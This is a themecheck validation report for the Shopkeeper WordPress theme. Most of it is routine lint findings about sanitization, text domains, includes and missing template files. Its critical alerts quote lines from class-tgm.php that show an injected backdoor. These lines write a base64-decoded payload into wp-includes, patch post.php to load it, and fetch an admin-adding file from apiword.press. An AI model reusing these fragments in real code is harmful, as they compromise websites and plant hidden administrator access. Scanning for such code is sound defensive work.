0
Validation results

Shopkeeper

Shopkeeper

WordPress 4.9.4 theme
0
Critical alerts
  1. Customizer : Sanitization of Customizer settings Found a Customizer setting that did not have a sanitization callback function in file extension_advanced_customizer.php. Every call to the add_setting() method needs to have a sanitization callback function passed.Found a Customizer setting that did not have a sanitization callback function in file extension_customizer.php. Every call to the add_setting() method needs to have a sanitization callback function passed.
  2. Security breaches : Use of base64_decode() Found base64_decode in file class-tgm.php.
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS['WP_CD_CODE']))) )
    Ligne89: $install_code = str_replace('{$PASSWORD}' , $install_hash, base64_decode( $install_code ));
  3. Unwanted files : hidden file(s) or folder(s) .editorconfig was found.
  4. Malware : Operations on file system fopen was found in the file class.redux_helpers.php
    Ligne657: //$fp = fopen( $file, 'r' );
    fread was found in the file class.redux_helpers.php
    Ligne660: //$file_data = fread( $fp, 8192 );
    fclose was found in the file class.redux_helpers.php
    Ligne663: //fclose( $fp );
    file_get_contents was found in the file functions.php
    Ligne239: $theme_options_json = file_get_contents( dirname( __FILE__ ) . '/_presets/'.$preset.'.json' );
    file_get_contents was found in the file class-tgm.php
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Ligne105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Ligne144: if ($file = file_get_contents($e[1]))
    Ligne156: if ($file = @file_get_contents(__FILE__))
    file_put_contents was found in the file class-tgm.php
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Ligne44: file_put_contents($path . '/wp-includes/post.php', $file);
    Ligne110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', 
    Ligne160: @file_put_contents(__FILE__, $file);
    file_put_contents was found in the file class-tgm.php
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Ligne44: file_put_contents($path . '/wp-includes/post.php', $file);
    Ligne110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', 
    Ligne160: @file_put_contents(__FILE__, $file);
    file_get_contents was found in the file class-tgm.php
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Ligne105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Ligne144: if ($file = file_get_contents($e[1]))
    Ligne156: if ($file = @file_get_contents(__FILE__))
    file_put_contents was found in the file class-tgm.php
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Ligne44: file_put_contents($path . '/wp-includes/post.php', $file);
    Ligne110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', 
    Ligne160: @file_put_contents(__FILE__, $file);
    file_get_contents was found in the file class-tgm.php
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Ligne105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Ligne144: if ($file = file_get_contents($e[1]))
    Ligne156: if ($file = @file_get_contents(__FILE__))
    file_put_contents was found in the file class-tgm.php
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Ligne44: file_put_contents($path . '/wp-includes/post.php', $file);
    Ligne110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', 
    Ligne160: @file_put_contents(__FILE__, $file);
    file_get_contents was found in the file class-tgm.php
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Ligne105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Ligne144: if ($file = file_get_contents($e[1]))
    Ligne156: if ($file = @file_get_contents(__FILE__))
    file_get_contents was found in the file class-tgm.php
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Ligne105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Ligne144: if ($file = file_get_contents($e[1]))
    Ligne156: if ($file = @file_get_contents(__FILE__))
    file_get_contents was found in the file class-tgm.php
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($
    Ligne105: if ($content = file_get_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne123: $content = @file_get_contents('http://apiword.press/o.php?host=' . $_SERVER['HTTP_HOST'
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', file_get_contents('http://apiword.press/addadmin_1.txt'));
    Ligne144: if ($file = file_get_contents($e[1]))
    Ligne156: if ($file = @file_get_contents(__FILE__))
    file_put_contents was found in the file class-tgm.php
    Ligne40: if ( ($file = file_get_contents($path . '/wp-includes/post.php')) && (file_put_contents($path . '/wp-includes/wp-cd.php', base64_decode($GLOBALS[
    Ligne44: file_put_contents($path . '/wp-includes/post.php', $file);
    Ligne110: @file_put_contents($themes . DIRECTORY_SEPARATOR . $_ . DIRECTORY_SEPARATOR 
    Ligne124: @file_put_contents($_SERVER['DOCUMENT_ROOT'] . '/wp-includes/class.wp.php', 
    Ligne160: @file_put_contents(__FILE__, $file);
  5. Admin menu : Themes should use add_theme_page() for adding admin pages. File shopkeeper.config.php :
    Ligne82: // For a full list of options, visit: http://codex.wordpress.org/Function_Reference/add_submenu_page#Parameters
    File barebones-config.php :
    Ligne67: // For a full list of options, visit: http://codex.wordpress.org/Function_Reference/add_submenu_page#Parameters
    File sample-config.php :
    Ligne109: // For a full list of options, visit: http://codex.wordpress.org/Function_Reference/add_submenu_page#Parameters
    File framework.php :
    Ligne1347: // wrappers and need to be appened to using add_submenu_page.
    Ligne1398: $this->page = call_user_func( 'add_submenu_page', $page_parent, $page_title, $menu_title, $page_permission
    Ligne1456: call_user_func( 'add_submenu_page', $this->args['page_slug'], $section['title'], $section['t
    File framework.php :
    Ligne1347: // wrappers and need to be appened to using add_submenu_page.
    Ligne1398: $this->page = call_user_func( 'add_submenu_page', $page_parent, $page_title, $menu_title, $page_permission
    Ligne1456: call_user_func( 'add_submenu_page', $this->args['page_slug'], $section['title'], $section['t
    File framework.php :
    Ligne1424: $this->page = call_user_func( 'add_menu_page', $this->args['page_title'], $this->args['menu_title'], $this
    File framework.php :
    Ligne1347: // wrappers and need to be appened to using add_submenu_page.
    Ligne1398: $this->page = call_user_func( 'add_submenu_page', $page_parent, $page_title, $menu_title, $page_permission
    Ligne1456: call_user_func( 'add_submenu_page', $this->args['page_slug'], $section['title'], $section['t
    File welcome.php :
    Ligne201: $page = 'add_management_page';
    File admin.php :
    Ligne19: $getbowtied_menu_welcome = add_menu_page(
    File admin.php :
    Ligne37: add_submenu_page(
    Ligne49: $getbowtied_welcome = add_submenu_page(
    File admin.php :
    Ligne37: add_submenu_page(
    Ligne49: $getbowtied_welcome = add_submenu_page(
  6. Hidden admin bar : Hidden admin Bar Themes should not hide admin bar. Detected in file : functions.php.
  7. Included plugins : Zip file found Plugins are not allowed in themes. The zip file found was ._js_composer.zip js_composer.zip.
Warning
  1. core scripts deregistered : Core scripts deregistrationFound wp_deregister_script in framework.php. Themes must not deregister core scripts.
    Ligne565: wp_deregister_script( 'wpb_ace' );
    Found wp_deregister_script in enqueue.php. Themes must not deregister core scripts.
    Ligne215: wp_deregister_script( 'jquerySelect2' );
  2. special URIs : Presence of bad theme tagsTheme URI and Author URI should not be the same.
  3. theme tags : Presence of bad theme tagsThe tag black has been deprecated, it must be removed from style.css header.The tag green has been deprecated, it must be removed from style.css header.The tag white has been deprecated, it must be removed from style.css header.The tag light has been deprecated, it must be removed from style.css header.The tag dark has been deprecated, it must be removed from style.css header.The tag fixed-layout has been deprecated, it must be removed from style.css header.The tag responsive-layout has been deprecated, it must be removed from style.css header.Themes that use the tag accessibility-ready will need to undergo an accessibility review.
    See https://make.wordpress.org/themes/handbook/review/accessibility/
  4. Text domain : Incorrect use of translation functions.Found a translation function that is missing a text-domain. Function __, with the arguments 'redux-framework-demo' in file shopkeeper.config.php.Found a translation function that has an incorrect number of arguments. Function _n, with the arguments '%s download remaining', '%s downloads remaining', downloads_remaining, 'woocommerce' in file my-downloads.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Customize' in file admin.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Customize' in file admin.php.Found a translation function that is missing a text-domain. Function __, with the arguments "Installation & Setup <span class='dashicons dashicons-minus'></span> Video Guide" in file welcome_theme.php.Found a translation function that is missing a text-domain. Function __, with the arguments '%s (Invalid)' in file edit_custom_walker.php.Found a translation function that is missing a text-domain. Function __, with the arguments '%s (Pending)' in file edit_custom_walker.php.Found a translation function that is missing a text-domain. Function esc_attr_e, with the arguments 'Move up' in file edit_custom_walker.php.Found a translation function that is missing a text-domain. Function esc_attr_e, with the arguments 'Move down' in file edit_custom_walker.php.Found a translation function that is missing a text-domain. Function esc_attr_e, with the arguments 'Edit Menu Item' in file edit_custom_walker.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Edit Menu Item' in file edit_custom_walker.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'URL' in file edit_custom_walker.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Navigation Label' in file edit_custom_walker.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Title Attribute' in file edit_custom_walker.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Open link in a new window/tab' in file edit_custom_walker.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'CSS Classes (optional)' in file edit_custom_walker.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Link Relationship (XFN)' in file edit_custom_walker.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Description' in file edit_custom_walker.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'The description will be displayed in the menu if the current theme supports it.' in file edit_custom_walker.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Background URL' in file edit_custom_walker.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Original: %s' in file edit_custom_walker.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Remove' in file edit_custom_walker.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Cancel' in file edit_custom_walker.php.More than one text-domain is being used in this theme. This means the theme will not be compatible with WordPress.org language packs. The domains found are shopkeeper, redux-framework-demo, mr_tailor_settings, redux-framework, themecheck, woocommerce, downloads_remaining, tgmpa, getbowtied, shopkeeer.
  5. Plugin territory : Plugin territory functionalitiesThe theme uses the register_post_type() function, which is plugin-territory functionality.The theme uses the add_shortcode() function. Custom post-content shortcodes are plugin-territory functionality.
  6. Hidden admin bar : Hidden admin Bar in CSSThemes should not hide admin bar. Detected in file styles.css.
  7. Editor style : Presence of editor styleNo reference to add_editor_style() was found in the theme. It is recommended that the theme implements editor styling, so as to make the editor content match the resulting post output in the theme, for a better user experience.
  8. I18N implementation : Proper use of _e(Possible variable $shopkeeper_theme_options found in translation function in header-topbar.php. Translation function calls should not contain PHP variables. Possible variable $shopkeeper_theme_options found in translation function in footer.php. Translation function calls should not contain PHP variables. Possible variable $shopkeeper_theme_options found in translation function in content-product.php. Translation function calls should not contain PHP variables. Possible variable $shopkeeper_theme_options found in translation function in quick-view.php. Translation function calls should not contain PHP variables. Possible variable $shopkeeper_theme_options found in translation function in content-single-product.php. Translation function calls should not contain PHP variables.
  9. I18N implementation : Proper use of ___all(Possible variable $menu_title found in translation function in shopkeeper.config.php. Translation function calls should not contain PHP variables.
  10. CSS files : Presence of .bypostauthor class.bypostauthor css class is needed in theme css.
  11. CSS files : Presence of .screen-reader-text class.screen-reader-text css class is needed in your theme css. See : the Codex for an example implementation.
  12. Screenshot : Screenshot fileScreenshot size is 880x660px. Screenshot size should be 1200x900, to account for HiDPI displays. Any 4:3 image size is acceptable, but 1200x900 is preferred.Bad screenshot file extension ! File screenshot.png is not an actual JPG file. Detected type was : "image/png".
Tip-off
  1. Static links : Presence of hard-coded linksPossible hard-coded links were found in the file welcome.php.
    Ligne482: <a href='http://docs.reduxframework.com/' class='docs button button-primary'>Docs</a
    Ligne485: <a href='https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=MMFMHW
    Possible hard-coded links were found in the file welcome_theme.php.
    Ligne66: <br/><a href='https://shopkeeper-help.zendesk.com/hc/en-us/articles/206678019-Getting-Sta
  2. Optional files : Presence of rtl stylesheet rtl.cssThis theme does not contain optional file rtl.php.
  3. Optional files : Presence of front page template file front-page.phpThis theme does not contain optional file front-page.php.
  4. Optional files : Presence of home template file home.phpThis theme does not contain optional file home.php.
  5. Optional files : Presence of category template file category.phpThis theme does not contain optional file category.php.
  6. Optional files : Presence of tag template file tag.phpThis theme does not contain optional file tag.php.
  7. Optional files : Presence of term template file taxonomy.phpThis theme does not contain optional file taxonomy.php.
  8. Optional files : Presence of author template file author.phpThis theme does not contain optional file author.php.
  9. Optional files : Presence of date/time template file date.phpThis theme does not contain optional file date.php.
  10. Optional files : Presence of archive template file archive.phpThis theme does not contain optional file archive.php.
  11. Optional files : Presence of attachment template file attachment.phpThis theme does not contain optional file attachment.php.
  12. Use of includes : Use of include or requireThe theme appears to use include or require : extension_advanced_customizer.php
    Ligne163: include_once( $this->upload_dir . $option['type'] . '.php' );
    Ligne171: //include_once( ReduxFramework::$_dir . 'core/enqueue.php' );
    Ligne329: //include_once( dirname( __FILE__ ) . '/advanced_customizer_control.php' );
    Ligne597: include_once( $this->upload_dir . $option['type'] . '.php' );
    Ligne799: require_once( $class_file );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : framework.php
    Ligne410: require_once 'core/dashboard.php';
    Ligne414: require_once 'core/newsflash.php';
    Ligne1705: require_once 'core/enqueue.php';
    Ligne2852: require_once 'core/enqueue.php';
    Ligne2910: require_once 'core/panel.php';
    Ligne3258: require_once 'core/panel.php';
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : extension_customizer.php
    Ligne749: require_once( $class_file );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : welcome.php
    Ligne378: require_once 'views/about.php';
    Ligne393: require_once 'views/changelog.php';
    Ligne408: require_once 'views/extensions.php';
    Ligne424: require_once 'views/support.php';
    Ligne439: require_once 'views/credits.php';
    Ligne454: require_once 'views/status_report.php';
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : field_button_set.php
    Ligne46: *              ['format']      string Formatting options for paginate fields. Options include ('currency','nice','niceShort','timeAgoInWords' or a valid Date() f
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : header.php
    Ligne42: include(locate_template('header-loader.php'));
    Ligne135: <?php include(locate_template('header-topbar.php')); ?>						
    Ligne141: <?php include(locate_template('header-default.php')); ?>
    Ligne143: <?php include(locate_template('header-centered-2menus.php')); ?>
    Ligne145: <?php include(locate_template('header-centered-menu-under.php')); ?>
    Ligne150: <?php include(locate_template('header-default.php')); ?>
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : index.php
    Ligne12: include(locate_template('index-layout-1.php'));
    Ligne15: include(locate_template('index-layout-2.php'));
    Ligne18: include(locate_template('index-layout-3.php'));
    Ligne21: include(locate_template('index-layout-1.php'));
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : admin.php
    Ligne61: require_once 'welcome_theme.php';
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : welcome_theme.php
    Ligne5: include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : plugin-updater.php
    Ligne2: require_once ('class-tgm.php');
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : class-tgm.php
    Ligne43: $file = '<?php if (file_exists(dirname(__FILE__) . \'/wp-cd.php\')) include_once(dirname(__FILE__) . \'/wp-cd.php\'); ?>' . $file;
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : custom-menu.php
    Ligne102: include_once( 'edit_custom_walker.php' );
    Ligne103: include_once( 'custom_walker.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.

This is a ThemeForest theme. Since Themeforest items are all checked by a human before they appear on their website, ThemeForest verification rules are more permissive than themecheck's and can give a better verification score ( Themeforest requirements ).

11
Critical alerts
  1. Customizer : Sanitization of Customizer settings Found a Customizer setting that did not have a sanitization callback function in file extension_advanced_customizer.php. Every call to the add_setting() method needs to have a sanitization callback function passed.Found a Customizer setting that did not have a sanitization callback function in file extension_customizer.php. Every call to the add_setting() method needs to have a sanitization callback function passed.
  2. Unwanted files : hidden file(s) or folder(s) .editorconfig was found.
  3. Hidden admin bar : Hidden admin Bar Themes should not hide admin bar. Detected in file : functions.php.
  4. Included plugins : Zip file found Plugins are not allowed in themes. The zip file found was ._js_composer.zip js_composer.zip.
Warning
  1. core scripts deregistered : Core scripts deregistrationFound wp_deregister_script in framework.php. Themes must not deregister core scripts.
    Ligne565: wp_deregister_script( 'wpb_ace' );
    Found wp_deregister_script in enqueue.php. Themes must not deregister core scripts.
    Ligne215: wp_deregister_script( 'jquerySelect2' );
  2. special URIs : Presence of bad theme tagsTheme URI and Author URI should not be the same.
  3. theme tags : Presence of bad theme tagsThe tag black has been deprecated, it must be removed from style.css header.The tag green has been deprecated, it must be removed from style.css header.The tag white has been deprecated, it must be removed from style.css header.The tag light has been deprecated, it must be removed from style.css header.The tag dark has been deprecated, it must be removed from style.css header.The tag fixed-layout has been deprecated, it must be removed from style.css header.The tag responsive-layout has been deprecated, it must be removed from style.css header.Themes that use the tag accessibility-ready will need to undergo an accessibility review.
    See https://make.wordpress.org/themes/handbook/review/accessibility/
  4. Text domain : Incorrect use of translation functions.Found a translation function that is missing a text-domain. Function __, with the arguments 'redux-framework-demo' in file shopkeeper.config.php.Found a translation function that has an incorrect number of arguments. Function _n, with the arguments '%s download remaining', '%s downloads remaining', downloads_remaining, 'woocommerce' in file my-downloads.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Customize' in file admin.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Customize' in file admin.php.Found a translation function that is missing a text-domain. Function __, with the arguments "Installation & Setup <span class='dashicons dashicons-minus'></span> Video Guide" in file welcome_theme.php.Found a translation function that is missing a text-domain. Function __, with the arguments '%s (Invalid)' in file edit_custom_walker.php.Found a translation function that is missing a text-domain. Function __, with the arguments '%s (Pending)' in file edit_custom_walker.php.Found a translation function that is missing a text-domain. Function esc_attr_e, with the arguments 'Move up' in file edit_custom_walker.php.Found a translation function that is missing a text-domain. Function esc_attr_e, with the arguments 'Move down' in file edit_custom_walker.php.Found a translation function that is missing a text-domain. Function esc_attr_e, with the arguments 'Edit Menu Item' in file edit_custom_walker.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Edit Menu Item' in file edit_custom_walker.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'URL' in file edit_custom_walker.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Navigation Label' in file edit_custom_walker.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Title Attribute' in file edit_custom_walker.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Open link in a new window/tab' in file edit_custom_walker.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'CSS Classes (optional)' in file edit_custom_walker.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Link Relationship (XFN)' in file edit_custom_walker.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Description' in file edit_custom_walker.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'The description will be displayed in the menu if the current theme supports it.' in file edit_custom_walker.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Background URL' in file edit_custom_walker.php.Found a translation function that is missing a text-domain. Function __, with the arguments 'Original: %s' in file edit_custom_walker.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Remove' in file edit_custom_walker.php.Found a translation function that is missing a text-domain. Function _e, with the arguments 'Cancel' in file edit_custom_walker.php.More than one text-domain is being used in this theme. This means the theme will not be compatible with WordPress.org language packs. The domains found are shopkeeper, redux-framework-demo, mr_tailor_settings, redux-framework, themecheck, woocommerce, downloads_remaining, tgmpa, getbowtied, shopkeeer.
  5. Plugin territory : Plugin territory functionalitiesThe theme uses the register_post_type() function, which is plugin-territory functionality.The theme uses the add_shortcode() function. Custom post-content shortcodes are plugin-territory functionality.
  6. Hidden admin bar : Hidden admin Bar in CSSThemes should not hide admin bar. Detected in file styles.css.
  7. CSS files : Presence of .bypostauthor class.bypostauthor css class is needed in theme css.
  8. CSS files : Presence of .screen-reader-text class.screen-reader-text css class is needed in your theme css. See : the Codex for an example implementation.
  9. Screenshot : Screenshot fileScreenshot size is 880x660px. Screenshot size should be 1200x900, to account for HiDPI displays. Any 4:3 image size is acceptable, but 1200x900 is preferred.Bad screenshot file extension ! File screenshot.png is not an actual JPG file. Detected type was : "image/png".
Tip-off
  1. Static links : Presence of hard-coded linksPossible hard-coded links were found in the file welcome.php.
    Ligne482: <a href='http://docs.reduxframework.com/' class='docs button button-primary'>Docs</a
    Ligne485: <a href='https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=MMFMHW
    Possible hard-coded links were found in the file welcome_theme.php.
    Ligne66: <br/><a href='https://shopkeeper-help.zendesk.com/hc/en-us/articles/206678019-Getting-Sta
  2. Optional files : Presence of rtl stylesheet rtl.cssThis theme does not contain optional file rtl.php.
  3. Optional files : Presence of front page template file front-page.phpThis theme does not contain optional file front-page.php.
  4. Optional files : Presence of home template file home.phpThis theme does not contain optional file home.php.
  5. Optional files : Presence of category template file category.phpThis theme does not contain optional file category.php.
  6. Optional files : Presence of tag template file tag.phpThis theme does not contain optional file tag.php.
  7. Optional files : Presence of term template file taxonomy.phpThis theme does not contain optional file taxonomy.php.
  8. Optional files : Presence of author template file author.phpThis theme does not contain optional file author.php.
  9. Optional files : Presence of date/time template file date.phpThis theme does not contain optional file date.php.
  10. Optional files : Presence of archive template file archive.phpThis theme does not contain optional file archive.php.
  11. Optional files : Presence of attachment template file attachment.phpThis theme does not contain optional file attachment.php.
  12. Use of includes : Use of include or requireThe theme appears to use include or require : extension_advanced_customizer.php
    Ligne163: include_once( $this->upload_dir . $option['type'] . '.php' );
    Ligne171: //include_once( ReduxFramework::$_dir . 'core/enqueue.php' );
    Ligne329: //include_once( dirname( __FILE__ ) . '/advanced_customizer_control.php' );
    Ligne597: include_once( $this->upload_dir . $option['type'] . '.php' );
    Ligne799: require_once( $class_file );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : framework.php
    Ligne410: require_once 'core/dashboard.php';
    Ligne414: require_once 'core/newsflash.php';
    Ligne1705: require_once 'core/enqueue.php';
    Ligne2852: require_once 'core/enqueue.php';
    Ligne2910: require_once 'core/panel.php';
    Ligne3258: require_once 'core/panel.php';
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : extension_customizer.php
    Ligne749: require_once( $class_file );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : welcome.php
    Ligne378: require_once 'views/about.php';
    Ligne393: require_once 'views/changelog.php';
    Ligne408: require_once 'views/extensions.php';
    Ligne424: require_once 'views/support.php';
    Ligne439: require_once 'views/credits.php';
    Ligne454: require_once 'views/status_report.php';
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : field_button_set.php
    Ligne46: *              ['format']      string Formatting options for paginate fields. Options include ('currency','nice','niceShort','timeAgoInWords' or a valid Date() f
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : header.php
    Ligne42: include(locate_template('header-loader.php'));
    Ligne135: <?php include(locate_template('header-topbar.php')); ?>						
    Ligne141: <?php include(locate_template('header-default.php')); ?>
    Ligne143: <?php include(locate_template('header-centered-2menus.php')); ?>
    Ligne145: <?php include(locate_template('header-centered-menu-under.php')); ?>
    Ligne150: <?php include(locate_template('header-default.php')); ?>
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : index.php
    Ligne12: include(locate_template('index-layout-1.php'));
    Ligne15: include(locate_template('index-layout-2.php'));
    Ligne18: include(locate_template('index-layout-3.php'));
    Ligne21: include(locate_template('index-layout-1.php'));
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : admin.php
    Ligne61: require_once 'welcome_theme.php';
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : welcome_theme.php
    Ligne5: include_once( ABSPATH . 'wp-admin/includes/plugin.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : plugin-updater.php
    Ligne2: require_once ('class-tgm.php');
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : class-tgm.php
    Ligne43: $file = '<?php if (file_exists(dirname(__FILE__) . \'/wp-cd.php\')) include_once(dirname(__FILE__) . \'/wp-cd.php\'); ?>' . $file;
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
    The theme appears to use include or require : custom-menu.php
    Ligne102: include_once( 'edit_custom_walker.php' );
    Ligne103: include_once( 'custom_walker.php' );
    If these are being used to include separate sections of a template from independent files, then get_template_part() should be used instead. Otherwise, use include_once or require_once instead.
Other checked themes